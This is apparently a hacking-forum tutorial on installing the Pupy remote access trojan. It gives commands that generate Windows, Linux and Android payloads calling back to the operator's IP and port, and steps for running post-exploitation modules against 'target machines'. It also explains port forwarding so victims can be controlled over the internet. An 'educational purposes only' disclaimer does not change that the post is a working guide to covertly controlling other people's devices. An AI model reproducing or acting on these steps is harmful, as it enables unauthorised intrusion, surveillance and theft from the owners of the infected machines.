Oct 5, 2016 11:29 AM
(This post was last modified: May 26, 2017 03:49 AM by Decim.)
If you would rather watch a video guide with vocal instructions, check this out:
What is Pupy?
Pupy is an opensource, multi-platform (Windows, Linux, OSX, Android), multi function RAT (Remote Administration Tool) and post-exploitation tool mainly written in python.
It features a all-in-memory execution guideline and leaves very low footprint. Pupy can communicate using various transports, migrate into processes (reflective injection), load remote python code, python packages and python C-extensions from memory.
Read more: https://github.com/n1nj4sec/pupy
In this tutorial, I'll be showing you how to setup Pupy and generate payloads for Windows, Linux and Android.
Warning
This guide is meant for educational purposes only, accessing other people's computers without appropriate permissions is illegal and I don't condone it in any way.
I am not responsible for your actions.
This guide is meant for educational purposes only, accessing other people's computers without appropriate permissions is illegal and I don't condone it in any way.
I am not responsible for your actions.
Getting Started...
To get started, head over to the official Pupy GitHub repo and download the entire project as a zip file.
![[Image: a9dd1c3f47.png]](https://puu.sh/rrXPB/a9dd1c3f47.png)
Extract the contents of the archive and read the text file titled 'Requirements.txt' inside the folder.
This text file contains the list of packages required for setting up Pupy - make sure you install all of them.
Generating The Payload
Once you're done installing all the packages, we're ready to generate our payload.
For this, open a terminal window in the directory which contains the 'pupygen.py' file and type:
Code
./pupygen.py![[Image: 5303e6c24f.png]](https://puu.sh/w1Cbr/5303e6c24f.png)
Now open a different terminal and type in the following command to find your IP address:
Code
ifconfig![[Image: 43f9a1c878.png]](https://puu.sh/w1Ccx/43f9a1c878.png)
The highlighted IP address is the one to which you want your target machines to connect.
Note it down and close the terminal.
Here are the commands for generating payloads for Windows, Linux and Android respectively.
![[Image: 1741c377d2.png]](https://puu.sh/w1Cd3/1741c377d2.png)
Windows:
Code
./pupygen.py -f exe_x86 -o <FileName>.exe connect --host <IP:Port>For targeting 64bit machines, change exe_x86 to exe_x64.
Linux:
Code
./pupygen.py -f py -o <FileName>.py connect --host <IP:Port>Android:
Code
./pupygen.py -f apk -o <FileName>.apk connect --host <IP:Port>![[Image: ec7d23daf1.png]](https://puu.sh/w1CdX/ec7d23daf1.png)
If everything went well, it should say "payload successfully generated" and the payload should be visible in the same folder.
Remote Administration
To begin remote administration once the payload has been deployed, open another terminal in the same folder and type in:
Code
./pupysh.pyInput a question mark (?) to get the list of all the available commands.
![[Image: 54ab636189.png]](https://puu.sh/w1Cfi/54ab636189.png)
To see all the available modules, type in:
Code
list_modules![[Image: 1b219544ac.png]](https://puu.sh/w1CfW/1b219544ac.png)
To use a particular module, follow the format:
Code
run <MODULE NAME>Once you're done remotely administrating the machine, use the following command to disconnect all the clients:
Code
run general/exitConclusion
This works over LAN. If you wish to do this over the internet, find your public IP address online and make sure that the port you select is appropriately forwarded.
A simple Windows 32bit payload generated by Pupy is around 6MB in size (pretty big) and it is in no way perfect. But it is free and opensource!
Keep that in mind while using Pupy.
That's pretty much it.
If you have any questions, feel free to ask.
- Arcanecfg.
For the glory of humanity




![[Image: Pv1zHyF.gif]](https://i.imgur.com/Pv1zHyF.gif)